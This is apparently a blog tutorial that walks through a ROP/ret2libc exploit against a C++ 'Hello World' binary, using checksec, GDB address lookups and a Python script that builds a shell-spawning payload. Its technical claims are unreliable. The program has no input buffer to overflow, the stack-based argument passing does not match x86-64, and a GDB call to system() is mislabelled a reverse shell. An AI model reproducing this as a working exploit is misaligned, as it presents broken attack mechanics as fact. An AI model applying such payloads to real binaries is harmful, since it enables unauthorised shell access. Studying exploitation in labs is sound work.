Exploitation research often starts with small, seemingly harmless programs. In this post, we’ll walk through how a simple C++ "Hello World" program can still be analyzed and targeted with a ROP exploit. While this example is primarily for educational purposes, it illustrates how attackers approach binary analysis and how system protections affect exploitability.
Step 1: The Vulnerable Program
Let’s start with the simplest C++ program:
1 2 3 4 5 6 | #include <iostream> int main() { std::cout << "Hello, world!" << std::endl; return 0; } |
Compile it with debugging symbols so we can analyze it more easily:
g++ -g hello.c -o hello
Run it:
./hello
# Output: Hello, world!
Nothing special yet—just prints a message.
Step 2: Analyzing Binary Protections
We’ll use checksec to inspect what mitigations are enabled on this binary:
checksec --file=hello
Result:
1 2 | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 49 Symbols No |
Breakdown of Protections
Protection | Status | Explanation |
---|---|---|
RELRO | Partial RELRO | GOT (Global Offset Table) still writable, so function pointer overwrites possible. |
Stack Canary | No canary | No stack smashing detection → buffer overflow possible. |
NX | Enabled | Stack is non-executable → injected shellcode won’t run directly. |
PIE | Enabled | Binary is position-independent, randomized under ASLR. |
Symbols | Present | Debug symbols give more info to an attacker. |
FORTIFY | Disabled | No additional hardening of unsafe libc functions. |
⚡ Summary: Even this tiny program is potentially exploitable since no stack canary + partial RELRO opens the door for ROP-style attacks.
Step 3: Inspecting with GDB + GEF
Launch GDB with GEF then set a breakpoint at main
:
gdb hello
gef➤ b *main
gef➤ run
We can now analyze the binary and its link to libc.
Let’s search for the /bin/sh
string inside libc:
gef➤ grep /bin/sh
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6' ...
0x7ffff7ce3ea4 → "/bin/sh"
And check the system() function address:
gef➤ p system
$1 = 0x7ffff7b8f110 <system>
Perfect—we now have two critical addresses:
-
system()
function entry point -
/bin/sh
string inside libc
If we can overwrite the return address in our binary, we can redirect execution to:
system("/bin/sh");
Step 4: Testing the Exploit
Inside GDB, we can even test this manually:
gef➤ call (int)system("/bin/sh")
$ whoami
mh1369080
A reverse shell worked successfully! 🎉
Step 5: Crafting a Payload
Let’s build an actual payload that mimics this ROP chain.
1 2 3 4 5 6 7 8 9 10 | from struct import pack padding = b"A" * 40 # buffer size to reach RIP overwrite system_addr = pack("<Q", 0x555555554110) # example system() address ret_addr = pack("<Q", 0x0) # filler for return address binsh_addr = pack("<Q", 0x7ffff7ce3ea4) # "/bin/sh" string address payload = padding + system_addr + ret_addr + binsh_addr open("payload", "wb").write(payload) |
This payload:
-
Fills the buffer with junk (
A
s). -
Overwrites the saved return pointer with the address of
system()
. -
Passes
"/bin/sh"
as the argument.
When we overflow the buffer, the stack looks like this:
Normal Stack Layout (before overflow)
1 2 3 4 5 6 | | ... higher addresses ... | | Saved RBP (base pointer) | | Saved RIP (return addr) | ← execution goes back here after main() | Local Variables | | Buffer [40 bytes] | | ... lower addresses ... | |
After Overflow (with payload)
1 2 3 4 5 6 7 | | ... higher addresses ... | | Saved RBP (corrupted) | | RIP → system() address | ← attacker overwrites return address | Fake RET (junk or 0) | ← placeholder for return value after system() | Arg → "/bin/sh" address | ← passed to system() as argument | "AAAAAAAAAAAAAAAA..." | | ... lower addresses ... | |
This is the ROP chain:
-
Execution returns into
system()
. -
The next 8 bytes act as a fake return address (not used).
-
The following 8 bytes are the pointer to
"/bin/sh"
.
Step 6: Running the Exploit
Finally, run the program with the payload:
./hello < payload
If successful, you’ll land into a shell spawned by the exploited binary.
Here’s the payload breakdown:
1 2 3 4 | [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] # 40-byte padding [0x555555554110] # system() address [0x0000000000000000] # fake return addr [0x7ffff7ce3ea4] # "/bin/sh" string in libc |
Which translates to:
system("/bin/sh");
ROP Flow Diagram
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | ┌────────────┐ │ Buffer │ └─────┬──────┘ │ overflow ▼ ┌───────────────┐ │ Overwritten │ │ RIP → system │ └─────┬─────────┘ │ ▼ ┌───────────────┐ │ system() │ │ Arg: /bin/sh│ └─────┬─────────┘ │ ▼ ┌───────────────┐ │ /bin/sh │ │ Interactive │ │ Shell │ └───────────────┘ |
📌 Takeaways
-
A ROP chain hijacks execution flow by overwriting the return pointer.
-
The payload arranges the stack so that it looks like a valid function call:
system("/bin/sh")
. -
Visualization helps understand why stack protections (stack canaries, full RELRO, ASLR, etc.) are critical in modern systems.
⚠️ Disclaimer:
This post is strictly for educational and research purposes in a controlled environment. The goal is to understand binary exploitation, not to misuse it.
No comments:
Post a Comment